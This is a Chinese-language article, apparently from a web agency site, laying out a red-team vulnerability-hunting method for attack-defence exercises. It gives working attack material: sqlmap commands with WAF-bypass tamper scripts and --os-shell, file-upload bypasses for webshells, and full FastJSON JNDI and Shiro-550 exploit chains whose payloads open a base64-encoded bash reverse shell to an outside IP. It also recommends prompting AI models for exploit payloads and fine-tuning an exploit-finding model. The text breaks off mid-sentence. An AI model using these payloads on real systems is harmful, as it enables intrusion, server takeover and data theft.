ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

攻防演练实战挖洞指南:从信息收集到 AI 辅助的完整方法论

攻防演练实战挖洞指南:从信息收集到 AI 辅助的完整方法论 目录1. 引言攻防演练中的挖洞思维2. 信息收集决定你挖洞上限的 30%2.1 资产测绘先搞清楚目标到底有多大2.2 指纹识别知道目标用什么技术栈2.3 目录扫描与接口发现找隐藏入口3. 攻击面分析把精力花在能拿分的地方4. 漏洞挖掘实战按类型逐个击破4.1 SQL 注入从手工到自动化4.2 文件上传绕过校验拿 Webshell4.3 越权漏洞改个 ID 就能拿数据4.4 逻辑漏洞验证码、密码重置、支付逻辑4.5 第三方组件漏洞打点最快的路径5. 工具链组合从扫描到利用的完整流水线5.1 工具安装速查5.2 工具选型对比5.2.1 测绘平台FOFA vs Quake vs Hunter5.2.2 子域名工具OneForAll vs subfinder vs amass5.2.3 漏洞验证sqlmap vs Xray6. AI 挖洞从辅助到半自动化的实践6.1 用 AI 做代码审计让 AI 当你的副驾驶6.2 用 AI 生成和优化 POC6.3 用 AI 做流量分析和日志排查6.4 实战案例AI 辅助发现隐藏后台6.4 训练自己的挖洞 AI从数据收集到微调TL;DRTL;DR攻防演练挖洞可拆成四阶段信息收集测绘、指纹、目录扫描、攻击面分析优先打后台、API、上传点、漏洞挖掘SQL 注入、文件上传、越权、逻辑漏洞、组件漏洞、AI 辅助。工具链按「测绘找资产、指纹定方向、扫描找入口、JS 找接口、工具打漏洞」组合如 FOFA 测绘、OneForAll 收子域、sqlmap 打注入、ShiroExploit 打组件。AI 挖洞有三种用法代码审计当副驾驶、生成优化 POC、分析流量日志找线索定位是辅助而非替代。1. 引言攻防演练中的挖洞思维攻防演练红蓝对抗中的挖洞和平时做渗透测试有本质区别。演练有明确的时间窗口、评分规则和资产范围你需要在有限时间内找到最有价值的漏洞而不是漫无目的地扫描。很多新手在演练中容易陷入两个极端要么只会跑扫描器要么只盯着 SQL 注入、XSS 这类教科书漏洞结果在真实目标上颗粒无收。这篇文章不讲空话直接给你一套可落地的挖洞流程从信息收集、攻击面分析、漏洞挖掘到 AI 辅助挖洞每一步都配上具体工具和真实场景例子。目标只有一个让你在下次攻防演练中能快速找到真正能拿分的漏洞。2. 信息收集决定你挖洞上限的 30%信息收集做得越充分后续挖洞的效率就越高。很多人在这一步偷懒直接拿子域名爆破工具跑一遍就开扫结果漏掉了大量隐藏在旁站、API 接口、移动端里的攻击面。下面按优先级列出信息收集的关键动作和工具。2.1 资产测绘先搞清楚目标到底有多大攻防演练通常会给一个主域名或 IP 段但真实资产往往远超你看到的范围。第一步是用 FOFA、Quake、Hunter 这类测绘平台把目标的所有关联资产捞出来。举个例子假设目标是 example.com你可以用 FOFA 搜索domainexample.com同时用certexample.com找证书关联的其它域名再用icon_hashxxx通过 favicon 哈希找同源系统。很多时候演练方给的只是主站但真正脆弱的后台、测试环境、旧版本系统都藏在测绘结果里。子域名枚举也不能少。推荐用 OneForAll 或 subfinder 做被动收集再用 amass 做主动爆破。这里有个实战技巧不要只收集子域名还要关注IP 段归属。用 fofa 查目标 IP 的 C 段经常能发现同一家单位的其它系统这些系统可能防护更弱是很好的突破口。批量测绘的实操如果你拿到的是主域名想一次性把关联资产、子域名、IP 段都捞出来推荐用 FOFA 的 API 配合脚本批量拉取或者用 OneForAll 这类工具直接跑全量子域。这里重点说一下你下载的「密探」TideFinger 的图形化版本也叫 TideFinger GUI。它的核心用法是把前面测绘出来的域名或 IP 列表整理成一行一个的 txt 文件然后在密探里选择「批量导入」或「从文件加载」它会自动对每个目标做指纹识别识别出 ThinkPHP、Shiro、FastJSON、Spring Boot 这类组件并标注对应的漏洞风险。操作上先点「添加目标」把资产文件导入再点「开始扫描」结果会按 IP、端口、指纹、标题、状态码分列展示你可以直接导出 CSV 给后续的漏洞验证环节用。这里有个实战技巧密探的指纹库是内置的扫完记得按「组件」列排序把 Shiro、FastJSON、Log4j2 这类高危组件优先挑出来直接进 4.5 节的组件利用流程比逐个手工看快得多。2.2 指纹识别知道目标用什么技术栈拿到资产列表后逐个做指纹识别。工具用 EHole、TideFinger 或者 wappalyzer 浏览器插件都行。指纹识别的意义在于你知道目标用的是 ThinkPHP、Shiro、FastJSON 还是 Spring Boot就能直接对应到已知漏洞库去验证而不是盲目乱扫。举个例子如果识别出目标用了 Shiro你就应该立刻想到 Shiro-550反序列化和 Shiro-721Padding Oracle。先用工具检测是否默认密钥比如用 ShiroExploit 或 shiro_attack 工具直接打。如果识别出 FastJSON就用 JNDI 注入的思路去试type反序列化。指纹识别能让你把有限的攻击时间花在最有把握的漏洞上。2.3 目录扫描与接口发现找隐藏入口目录扫描用 dirsearch 或 ffuf字典要选对。不要只用默认字典建议把 SecLists 里的Discovery/Web-Content下的常用字典合并再加上从 JS 文件里提取的路径。这里有个关键技巧先抓取目标首页和登录页的 JS 文件用 JSFinder 或 LinkFinder 提取里面的 API 路径。很多系统在前端 JS 里硬编码了后台接口、调试接口甚至硬编码的密钥这些是目录扫描扫不出来的。举个例子某次演练中目标是一个管理系统目录扫描只扫出了/login和/static看起来毫无破绽。但用 JSFinder 提取登录页的 JS 后发现了一个/api/v1/admin/getUserInfo接口直接访问返回了所有用户信息包括管理员账号。这就是典型的接口暴露漏洞比费劲绕登录页简单得多。3. 攻击面分析把精力花在能拿分的地方信息收集完成后你会得到一大堆资产和接口。这时候不要急着逐个打先做攻击面分级。攻防演练的评分通常看重漏洞危害等级所以优先打以下目标后台管理系统一旦进入后台往往能直接拿数据或 RCE分值极高。API 接口未授权访问、越权、SQL 注入在 API 里很常见。文件上传/下载点上传 getshell 或下载任意文件都是高危。登录/注册/找回密码逻辑漏洞高发区比如验证码绕过、任意用户登录。第三方组件Shiro、FastJSON、Log4j2、Spring 相关漏洞打点快。举个例子假设你发现目标有一个/api/user/info?id123的接口返回了用户信息。这时候不要只满足于能访问试着把 id 改成 124、125如果返回了别人的信息就是越权漏洞IDOR这在演练里是实打实的中高危。再比如如果登录接口返回的 token 是 JWT 格式你可以尝试把算法改成none或者用弱密钥爆破很多系统 JWT 密钥就是secret这种弱口令。4. 漏洞挖掘实战按类型逐个击破下面按漏洞类型讲具体怎么挖每个都配上工具和例子。这里不重复教科书定义直接说操作。4.1 SQL 注入从手工到自动化SQL 注入虽然老但在演练中依然高频出现尤其是那些用拼接 SQL 的老系统。手工测的时候在参数后面加单引号、and 11、and 12看响应差异。但更高效的方式是用 sqlmap 自动化命令大概是sqlmap -u http://target.com/api/list?id1 --batch --level3 --risk2 --dbs这里有个实战技巧sqlmap 默认 UA 容易被 WAF 拦截建议加--random-agent同时用--tamperspace2comment这类绕过脚本。如果目标有 WAF先用 wafw00f 识别 WAF 类型再选对应的绕过方式。举个例子某次演练中目标是一个新闻发布系统参数category_id存在注入。sqlmap 直接跑出了information_schema库但目标数据库是 DBA 权限直接--os-shell拿到了服务器权限。整个过程不到十分钟这就是指纹识别加自动化工具的价值。实战案例安全狗 WAF 下的 SQL 注入绕过。某次演练中目标是一个政府门户网站参数id存在明显的数字型注入点。但直接用 sqlmap 跑请求全部被拦截返回 403 和「安全狗」的拦截页面。第一步先用 wafw00f 识别 WAF 类型命令是wafw00f http://target.com工具会通过发送特征请求判断出目标部署的是安全狗Safedog。识别出 WAF 类型后就知道它的拦截逻辑主要是基于关键字匹配和 UA 指纹于是针对性调整 sqlmap 参数。绕过前被拦截的命令是sqlmap -u http://target.com/news/detail?id1 --batch --dbs这条命令默认使用 sqlmap 的 UA且 payload 里带明显的union select、information_schema等关键字安全狗直接命中规则拦截。绕过后的命令是sqlmap -u http://target.com/news/detail?id1 --batch --random-agent --tamperspace2comment --level3 --risk2 --dbs这里两个参数起了关键作用--random-agent让每次请求随机换一个浏览器 UA避开安全狗对 sqlmap 默认 UA 的封禁--tamperspace2comment会把 payload 里的空格替换成注释符/**/比如union select变成union/**/select安全狗的关键字正则匹配不到这种变形从而绕过拦截。加上这两个参数后sqlmap 顺利跑出了information_schema库最终确认该注入点为 DBA 权限直接--os-shell拿到了服务器权限。这里有个实战技巧如果 space2comment 仍被拦截可以叠加多个 tamper比如--tamperspace2comment,randomcase把关键字大小写随机化或者用between把等号替换成BETWEEN ... AND进一步降低特征命中率。WAF 绕过的核心思路就是先识别类型再针对它的检测规则做变形而不是盲目堆参数。4.2 文件上传绕过校验拿 Webshell文件上传漏洞的利用核心是绕过校验。常见的绕过方式有改 Content-Type、双写扩展名.php.jpg、大小写绕过.PhP、空字节截断.php%00.jpg、图片马在图片尾部追加 PHP 代码。工具方面Burp Suite 是必须的配合 Upload_Bypass 字典可以快速测试各种扩展名。举个例子目标是一个用户头像上传功能前端限制了只能传 jpg。用 Burp 拦截后把文件名改成shell.php.jpgContent-Type 改成image/jpeg如果后端只校验了 Content-Type 而没校验文件内容就可能上传成功。更隐蔽的方式是上传.htaccess文件内容写AddType application/x-httpd-php .jpg这样所有 jpg 文件都会被当作 PHP 执行。这个技巧在 Apache 服务器上非常有效。4.3 越权漏洞改个 ID 就能拿数据越权IDOR是演练中最好挖也最容易忽略的漏洞。核心思路是找到一个带 ID 的请求比如/api/order/1001然后遍历 ID 看能否访问别人的数据。工具上不需要太复杂Burp 的 Intruder 模块就能做 ID 遍历或者写个简单的 Python 脚本循环请求。举个例子目标是一个电商系统订单查询接口/api/order/detail?order_id10086。把 order_id 改成 10087、10088如果返回了别人的订单信息就是水平越权。再进一步如果接口是/api/admin/order/detail普通用户也能访问那就是垂直越权直接能看所有订单这在演练里属于高危漏洞。4.4 逻辑漏洞验证码、密码重置、支付逻辑逻辑漏洞靠的是对业务的理解工具反而次要。常见场景包括验证码绕过验证码不失效、万能验证码如 0000、验证码在响应包里返回。密码重置重置链接的 token 可预测、重置接口不校验旧密码、短信验证码可爆破。支付逻辑修改价格参数、负数金额、数量为 0 等。举个例子某目标找回密码功能输入手机号后点击发送验证码用 Burp 抓包发现验证码直接放在响应包的Set-Cookie里或者接口返回了{code:123456}。这种漏洞不需要任何技术含量但危害是能直接接管任意账号在演练中属于严重漏洞。4.5 第三方组件漏洞打点最快的路径如果指纹识别发现目标用了 Shiro、FastJSON、Log4j2、Spring Boot 等组件直接上对应的利用工具。这里列几个高频的Shiro用 ShiroExploit 检测默认密钥存在则直接反序列化 RCE。FastJSON用 JNDI 注入工具可以用 JNDIExploit配合 dnslog 验证。Log4j2在 User-Agent、参数里打${jndi:ldap://xxx.dnslog.cn}用 JNDIExploit 起恶意 LDAP 服务。Spring Boot Actuator访问/actuator/env、/actuator/heapdumpheapdump 里经常能提取到数据库密码和密钥。举个例子目标登录页是 Shiro 框架用 ShiroExploit 一键检测发现默认密钥kPHbIxk5D2deZiIxcaaaA直接利用链打过去弹回了服务器权限。整个过程五分钟这就是组件漏洞的价值——不需要理解底层原理工具化利用就能拿分。FastJSON JNDI 注入完整利用步骤FastJSON 的反序列化漏洞如 CVE-2017-18349、CVE-2022-25845 等核心是利用type字段指定恶意类触发 JNDI 注入实现 RCE。利用前提是目标 FastJSON 版本存在漏洞且能解析 JSON 中的type字段。完整流程分三步先用 dnslog 验证漏洞存在再用 JNDIExploit 起恶意 LDAP 服务最后发送恶意请求触发 RCE。第一步用 dnslog 验证漏洞存在。先去 dnslog.cn 或 ceye.io 申请一个子域名比如xxxx.dnslog.cn。然后构造一个指向该域名的typepayload让 FastJSON 在解析时发起一次 DNS 查询。如果 dnslog 平台收到解析记录就说明目标存在 FastJSON 反序列化漏洞。验证用的请求包如下POST /api/user HTTP/1.1 Host: target.com Content-Type: application/json {type:java.net.Inet4Address,val:xxxx.dnslog.cn}发送后回到 dnslog 平台刷新如果看到一条来自目标服务器 IP 的解析记录就确认漏洞存在。这里有个实战技巧如果目标有 WAF可以把type做大小写变形如Type或加空格如type绕过部分规则但要注意不同 FastJSON 版本对type的解析容错不同变形后可能不触发需要多试几种写法。第二步用 JNDIExploit 起恶意 LDAP 服务。确认漏洞存在后在本地或 VPS 上启动 JNDIExploit它会起一个恶意 LDAP 服务把恶意类分发给目标。命令大概是java -jar JNDIExploit.jar -i 192.168.1.100 -p 8888其中-i指定你的服务器 IP目标能访问到的地址-p指定 LDAP 服务监听端口。启动后 JNDIExploit 会生成一个恶意 LDAP URL格式类似ldap://192.168.1.100:8888/Basic/Command/Base64/base64编码的命令。这里把反弹 shell 命令bash -i /dev/tcp/192.168.1.100/4444 01做 Base64 编码拼到 URL 后面。同时另开一个终端用nc -lvnp 4444监听反弹 shell 端口。第三步用 curl 或 Burp 发送恶意请求触发 RCE。把恶意 LDAP URL 填进typepayload发送给目标。用 curl 的命令是curl -X POST http://target.com/api/user -H Content-Type: application/json -d {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.1.100:8888/Basic/Command/Base64/YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ,autoCommit:true}用 Burp 的话直接在 Repeater 里构造同样的请求包发送即可。目标 FastJSON 解析到com.sun.rowset.JdbcRowSetImpl这个类时会去连接dataSourceName指定的 LDAP 地址JNDIExploit 返回恶意类目标加载后执行反弹 shell 命令。成功后在监听端就能收到目标服务器的 shell。这里有个实战技巧如果目标 JDK 版本较新8u191 以上默认禁用了远程加载类需要换用Basic/Command/Base64之外的利用链或者用JNDIExploit的TomcatBypass等模块绕过具体要看目标环境选择。Shiro-550 完整利用步骤Shiro-550CVE-2016-4437的核心是默认密钥反序列化。利用前提是目标使用了默认密钥kPHbIxk5D2deZiIxcaaaA且存在可反序列化的 rememberMe Cookie。完整流程分四步第一步检测默认密钥。先抓取目标登录页的响应包确认Set-Cookie里带有rememberMedeleteMe字段说明目标启用了 Shiro 的 rememberMe 功能。然后用 ShiroExploit 或 shiro_attack 工具一键检测默认密钥工具会发送一个构造的 rememberMe Cookie如果响应包返回rememberMedeleteMe且长度异常就说明密钥命中。命令行检测也可以用 Python 脚本核心逻辑是用候选密钥对恶意序列化对象做 AES-CBC 加密拼上rememberMe前缀发给目标看响应是否出现deleteMe。第二步构造反序列化 payload。确认默认密钥后需要生成一个恶意序列化对象。这里用 ysoserial 生成利用链命令大概是java -jar ysoserial.jar CommonsBeanutils1 bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.ser其中YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ是反弹 shell 命令bash -i /dev/tcp/192.168.1.100/4444 01的 Base64 编码。利用链的选择要看目标环境如果目标 JDK 版本较新优先用CommonsBeanutils1或CommonsCollections5如果目标有 WAF可以换URLDNS先做无回显验证确认能触发反序列化再上真正的利用链。第三步用 ShiroExploit 一键 getshell。ShiroExploit 图形化工具把上面两步封装成了自动化流程。操作上在工具里填入目标 URL选择「检测模式」跑一遍确认密钥然后切到「利用模式」填入你的反弹 shell 地址和端口工具会自动完成 payload 构造、AES 加密、Cookie 注入和触发。成功后在监听端比如 nc -lvnp 4444就能收到目标服务器的 shell。这里有个实战技巧如果目标有 WAF记得在 ShiroExploit 里开启编码混淆选项比如对 payload 做二次 Base64 或 URL 编码能绕过部分简单的规则匹配。第四步验证与提权。拿到 shell 后先执行id和whoami确认当前权限。Shiro 反序列化通常拿到的是 Tomcat 运行用户权限一般是普通用户。后续可以尝试sudo -l看有没有可利用的 sudo 配置或者翻/etc/shadow、数据库配置文件找提权路径。整个流程从检测到 getshell熟练的话五分钟内能完成。Shiro-721 与 Shiro-550 的利用条件差异两者虽然都是反序列化漏洞但利用条件差别很大。Shiro-550 利用的是默认密钥只要目标没改密钥就能直接打属于「密钥已知」的确定性利用而 Shiro-721CVE-2019-12422利用的是Padding Oracle 漏洞它不依赖默认密钥而是通过爆破 rememberMe Cookie 的 CBC 填充来构造合法密文属于「密钥未知」的盲打。具体差异有三点第一Shiro-550 需要知道密钥Shiro-721 不需要但 Shiro-721 需要目标能返回deleteMe且响应时间可观测用来做 Padding Oracle 的侧信道判断第二Shiro-721 的利用速度远慢于 550因为要逐字节爆破填充通常需要数万次请求很容易触发 WAF 或触发目标限流第三Shiro-721 对目标版本有要求只有 Shiro 1.4.2 及以下版本受影响而 Shiro-550 只要密钥没改任何版本都能打。实战建议是优先测 550密钥不对再考虑 721因为 721 的爆破流量特征明显在演练中容易被防守方发现。对比维度Shiro-550CVE-2016-4437Shiro-721CVE-2019-12422利用前提目标使用默认密钥且存在可反序列化的 rememberMe Cookie目标能返回deleteMe且响应时间可观测用于 Padding Oracle 侧信道判断是否需要默认密钥需要密钥已知如kPHbIxk5D2deZiIxcaaaA不需要密钥未知通过爆破 CBC 填充构造合法密文利用速度快密钥命中后一次请求即可触发熟练五分钟内 getshell慢需逐字节爆破填充通常要数万次请求适用版本只要密钥未修改任何 Shiro 版本都能打仅 Shiro 1.4.2 及以下版本受影响流量特征请求量少特征不明显相对隐蔽爆破流量特征明显容易触发 WAF 或目标限流易被防守方发现实战优先级高优先测试低密钥不对时再考虑总结建议实战中优先测 Shiro-550密钥命中就直接打只有确认密钥不是默认值、且目标版本在 1.4.2 及以下时才考虑用 Shiro-721 做盲打同时要做好流量被防守方发现的准备。5. 工具链组合从扫描到利用的完整流水线单点工具效率低关键是组合成流水线。下面给出一套我常用的工具链按阶段划分阶段工具作用资产测绘FOFA、Quake、Hunter关联资产、IP 段、证书子域名OneForAll、subfinder、amass被动主动收集子域指纹识别EHole、TideFinger识别 CMS、框架、组件目录扫描dirsearch、ffuf扫目录、备份文件、敏感路径JS 分析JSFinder、LinkFinder提取 API 路径、硬编码密钥漏洞验证sqlmap、Burp Suite、XraySQL 注入、越权、逻辑漏洞组件利用ShiroExploit、JNDIExploit、Log4j2Scan反序列化、JNDI 注入WAF 绕过wafw00f、tamper 脚本识别 WAF、绕过检测这套流水线的核心思路是测绘找资产指纹定方向扫描找入口JS 找接口工具打漏洞。每一步的输出都是下一步的输入环环相扣。5.1 工具安装速查下面把流水线里常用工具的安装命令整理成速查表方便你在新环境里快速部署。每个命令后都附了用途说明和验证安装成功的方法。# FOFA CLI用于资产测绘和关联资产查询 # 方式一go install 安装 go install github.com/fofapro/fofa-go/cmd/fofalatest # 验证fofa -h 能输出帮助信息即安装成功 方式二pip 安装fofa 官方 Python SDK pip install fofa 验证python -c import fofa; print(fofa.version) 能打印版本号即安装成功 OneForAll子域名被动主动收集 git clone https://github.com/shmilylty/OneForAll.git cd OneForAll pip install -r requirements.txt 验证python oneforall.py --help 能输出帮助信息即安装成功 EHole指纹识别识别 CMS、框架、组件 go install github.com/EdgeSecurityTeam/EHolelatest 验证ehole -h 能输出帮助信息即安装成功 dirsearch目录扫描 pip install dirsearch 验证dirsearch --version 能打印版本号即安装成功 sqlmapSQL 注入自动化检测与利用 方式一apt 安装Debian/Ubuntu apt install sqlmap 验证sqlmap --version 能打印版本号即安装成功 方式二源码安装推荐版本更新更快 git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py --version 验证python sqlmap.py --version 能打印版本号即安装成功 JNDIExploitJNDI 注入利用起恶意 LDAP/RMI 服务 从 GitHub 下载 jar 包https://github.com/feihong-cs/JNDIExploit/releases wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip 验证java -jar JNDIExploit.jar -h 能输出帮助信息即安装成功 ShiroExploitShiro 反序列化检测与利用 从 GitHub 下载 release 包https://github.com/feihong-cs/ShiroExploit/releases wget https://github.com/feihong-cs/ShiroExploit/releases/download/v2.51/ShiroExploit.jar 验证java -jar ShiroExploit.jar 能正常启动图形界面即安装成功5.2 工具选型对比工具没有绝对的好坏关键看场景。下面把流水线里最容易纠结的三组工具做横向对比帮你按实际需求快速选型。5.2.1 测绘平台FOFA vs Quake vs Hunter对比维度FOFAQuakeHunter数据源覆盖全球资产测绘覆盖端口、协议、证书、favicon 哈希数据量最大境外资产覆盖好国内资产覆盖强擅长指纹和组件识别数据更新快对政企、运营商资产命中率高国内资产为主主打 Web 资产和指纹库对 CMS、框架、中间件识别较全查询语法语法最灵活支持domain、cert、icon_hash、body、header等大量字段支持逻辑组合和正则语法简洁支持ip、domain、service、cert字段相对少但够用支持AND/OR组合语法偏 Web 场景支持domain、web.title、web.body、icon_hash上手门槛最低API 配额免费用户配额较少付费后按积分计费单次查询返回条数有限适合脚本批量拉取时控制频率免费用户有每日查询次数限制付费套餐按调用量计费API 稳定性较好免费用户配额适中付费后提升明显API 返回字段较全适合自动化对接价格会员按年订阅价格中等偏高适合长期做测绘的重度用户会员按年订阅价格与 FOFA 接近经常有活动折扣会员按年订阅价格相对亲民个人用户负担较小选型建议境外资产多、要深度关联证书和 favicon优先 FOFA主攻国内政企资产、看重指纹识别优先 Quake预算有限、只做 Web 资产测绘Hunter 够用。实战中建议三平台交叉验证同一个域名在三个平台搜出来的资产往往能互补。5.2.2 子域名工具OneForAll vs subfinder vs amass对比维度OneForAllsubfinderamass被动收集能力内置几十个被动数据源聚合度高默认跑一遍就能覆盖大部分公开数据源结果去重做得好被动收集是强项支持配置多个 API 源如 Censys、Shodan、VirusTotal轻量快速适合作为第一轮收集被动收集依赖配置的数据源默认源较少需要手动配置 API 才能发挥全部能力主动爆破速度支持内置字典爆破速度中等胜在字典和被动结果会合并去重输出干净本身不侧重爆破主要做被动收集爆破需配合其它工具主动爆破是强项支持递归爆破和多种枚举策略速度最快但流量大、容易被防守方发现依赖环境Python 环境依赖较多安装稍重但跨平台可用Go 编写单二进制文件部署最轻一条命令就能跑Go 编写单二进制文件部署轻量但部分功能依赖外部 API 配置选型建议日常演练用 OneForAll 一把梭被动主动都覆盖要快速出结果、环境又受限用 subfinder 先跑被动目标子域量大、需要深度爆破用 amass 做主动补充。三者可以串联subfinder 先被动OneForAll 合并去重amass 再爆破一轮覆盖最全。5.2.3 漏洞验证sqlmap vs Xray对比维度sqlmapXray自动化程度专注 SQL 注入检测和利用一体化支持--dbs、--os-shell等深度利用但需要手动指定目标 URL 和参数被动扫描器挂代理后自动检测多种漏洞SQL 注入、XSS、SSRF、文件上传等无需逐个指定参数适合批量资产巡检WAF 绕过能力强内置大量 tamper 脚本space2comment、randomcase、between等可组合叠加针对不同 WAF 定制绕过较弱主要靠 payload 变形遇到强 WAF 容易误报或漏报需要配合手工调整或其它工具适用场景确认某个注入点后做深度利用拿库、拿 shell、提权是「点」上的精确打击拿到一批资产后快速过一遍发现可疑点再交给 sqlmap 或手工深挖是「面」上的快速筛查选型建议Xray 负责铺面sqlmap 负责打点。拿到资产列表先挂 Xray 被动扫一轮发现 SQL 注入疑似点再用 sqlmap 做精确验证和利用两者配合能把「发现」和「利用」的效率都拉满。6. AI 挖洞从辅助到半自动化的实践现在 AI 挖洞越来越盛行但很多人对它的理解还停留在让 ChatGPT 写个 POC。实际上AI 在挖洞中的价值远不止于此。下面从几个层面讲怎么真正用 AI 提升挖洞效率。6.1 用 AI 做代码审计让 AI 当你的副驾驶如果你拿到了目标源码比如通过 Git 泄露、备份文件AI 代码审计是效率最高的用法。把源码喂给 Claude 或 GPT-4让它找 SQL 注入、反序列化、文件上传等漏洞点。关键是要给 AI 明确的上下文和问题而不是丢一堆文件让它找漏洞。举个例子你可以这样提问这是一段 Java 登录代码请分析是否存在 SQL 注入风险重点关注参数拼接方式并给出具体的利用 payload。AI 会定位到String sql SELECT * FROM user WHERE name username 这种拼接语句并给出 or 11的绕过方式。更进一步你可以让 AI 生成完整的 sqlmap 命令或者 Python 利用脚本。这里有个技巧把代码分段喂给 AI每次聚焦一个功能点登录、上传、导出比一次性丢整个项目效果更好因为上下文窗口有限分段能让 AI 更专注。6.2 用 AI 生成和优化 POC当你发现一个疑似漏洞需要快速验证时AI 能帮你生成 POC。比如你发现一个 FastJSON 反序列化点可以让 AI 生成一个完整的 JNDI 注入 payload或者让它解释某个利用链的触发条件。再比如你找到了一个 SSRF 点可以让 AI 帮你写一个内网端口扫描脚本用 Python 实现并发探测。举个例子你发现目标存在一个 URL 参数会请求外部地址疑似 SSRF。你可以让 AI 生成这样的脚本import requests import concurrent.futures target http://target.com/fetch?url{} ports [80, 443, 3306, 6379, 8080, 9200] def check(port): url target.format(fhttp://127.0.0.1:{port}) try: r requests.get(url, timeout3) if r.status_code 200 and len(r.text) 0: print(f[] Port {port} is open: {r.text[:100]}) except: pass with concurrent.futures.ThreadPoolExecutor(max_workers10) as ex: ex.map(check, ports)这个脚本能快速探测内网端口比手工一个个试快得多。AI 的价值在于你只需要描述需求它就能生成可运行的代码省去你查文档和调试的时间。6.3 用 AI 做流量分析和日志排查在攻防演练中你不仅需要进攻还需要了解目标的防护情况。如果你能拿到目标的访问日志比如通过已拿下的服务器可以让 AI 帮你分析异常流量找出 WAF 规则、过滤逻辑甚至发现隐藏的管理接口。把日志片段喂给 AI让它总结访问规律、提取可疑 IP 和路径。举个例子你拿到了一台服务器的 Nginx 访问日志可以让 AI 分析哪些路径访问频率异常高哪些 User-Agent 可疑从而发现目标的真实后台地址或者正在被其他攻击者利用的漏洞点。6.4 实战案例AI 辅助发现隐藏后台下面用一个完整案例演示怎么把 6.3 的思路落地。某次演练中你通过一个弱口令拿下一台内网服务器上面跑着 Nginx 反代日志里记录了所有转发到后端应用的请求。你想从这些日志里找出目标真正的后台地址而不是靠目录扫描去撞。先把日志里访问量最高的路径和 UA 统计出来再喂给 AI 做分析。先做一轮粗筛用命令把高频路径和可疑 UA 拉出来awk {print $7} /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -30 awk -F {print $6} /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20假设统计结果里/console这个路径一天内被访问了 400 多次远超其它路径而且来源 IP 集中在几个内网地址同时有一个 UA 是Mozilla/5.0 (compatible; Baiduspider/2.0)的请求却频繁访问/console/login和/console/api/user/list这明显不是搜索引擎该干的事。把下面这段日志片段直接喂给 AI192.168.10.15 - - [12/May/2026:09:12:33 0800] GET /console/login HTTP/1.1 200 4521 http://192.168.10.15/ Mozilla/5.0 (compatible; Baiduspider/2.0) 192.168.10.15 - - [12/May/2026:09:12:35 0800] POST /console/api/user/list HTTP/1.1 200 12890 http://192.168.10.15/console/login Mozilla/5.0 (compatible; Baiduspider/2.0) 192.168.10.15 - - [12/May/2026:09:12:38 0800] GET /console/api/config HTTP/1.1 200 356 http://192.168.10.15/console/login Mozilla/5.0 (compatible; Baiduspider/2.0) 192.168.10.16 - - [12/May/2026:09:15:02 0800] GET /console/ HTTP/1.1 302 0 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) 192.168.10.16 - - [12/May/2026:09:15:05 0800] GET /console/login HTTP/1.1 200 4521 - Mozilla/5.0 (Windows NT 10.0; Win64; x64)AI 返回的分析结果大致是/console是一个独立的后台应用/console/login是它的登录页/console/api/user/list和/console/api/config是后台的 API 接口那个伪装成 Baiduspider 的 UA 在短时间内连续调用登录页和用户列表接口说明已经有人在尝试爆破或已经拿到部分权限这个后台很可能存在弱口令或未授权访问/console/api/config返回 200 且响应体只有 356 字节值得直接访问看看是否泄露配置。AI 还会建议你重点验证两个点一是直接访问/console/api/user/list看是否未授权返回数据二是对/console/login做弱口令测试。按 AI 的提示操作你直接用浏览器访问http://192.168.10.15/console/api/user/list发现没有登录也能返回完整的用户列表 JSON包含管理员账号和密码哈希这就是一个未授权访问漏洞。再对/console/login试了admin/admin直接登录成功进入后台后找到文件上传功能上传图片马 getshell最终拿下这台服务器。整个过程从拿到日志到 getshell 不到半小时AI 帮你把几万行日志里的关键线索筛了出来省去了手工翻日志和盲目目录扫描的时间。这里有个实战技巧喂给 AI 的日志不要太多挑高频路径、可疑 UA、异常状态码这几类片段就够了一次给几百行反而会让 AI 抓不住重点。同时要让 AI 明确输出「可疑点 验证建议」的结构而不是只给一句看起来有异常这样你拿到结果就能直接动手验证。6.4 训练自己的挖洞 AI从数据收集到微调如果你想更进一步训练一个专门用于挖洞的 AI 模型这条路是可行的但需要投入不少精力。下面给出一个可落地的训练路线。第一步数据收集。训练数据主要来自几个渠道公开的漏洞报告如 HackerOne、Bugcrowd 的公开报告、CVE 漏洞描述和 POC、GitHub 上的漏洞利用代码、以及你自己在演练中积累的实战案例。收集时要注意数据质量优先选择有完整复现步骤和利用链的报告剔除那些只有标题没有细节的条目。工具方面可以用 GitHub 的代码搜索 API 批量拉取仓库或者用爬虫脚本定时抓取漏洞平台的公开页面。这里有个关键点数据量不是越多越好而是越干净越好一份结构清晰、标注准确的报告价值远高于十份杂乱无章的碎片。第二步数据预处理与标注。原始数据不能直接喂给模型需要先清洗和结构化。具体操作包括把 HTML 报告转成纯文本、去除广告和无关导航、统一漏洞类型标签如 SQL 注入、XSS、反序列化、提取关键字段漏洞点、触发条件、利用 payload、修复建议。标注工具可以用 Label Studio 或 Doccano它们支持文本分类和序列标注能帮你把每条数据打上漏洞类型和严重等级。如果你要训练的是代码审计模型还需要把代码片段和对应的漏洞描述配对这一步可以用 CodeQL 或 Semgrep 先做一轮自动标注再人工复核能省下大量时间。第三步模型选择与微调训练。不建议从零训练一个大模型成本太高。更务实的做法是拿一个开源基座模型做微调比如 CodeLlama、DeepSeek-Coder 或者 Qwen-Coder 这类代码模型它们本身已经理解编程语言微调后能更快学会识别漏洞模式。微调框架用 LLaMA-Factory 或 Hugging Face 的 transformers PEFTLoRALoRA 的好处是显存占用低一张消费级显卡就能跑。训练时把数据组织成指令格式比如输入是一段代码输出是漏洞类型和利用建议让模型学会看代码找问题的映射关系。训练轮数不用太多2 到 3 个 epoch 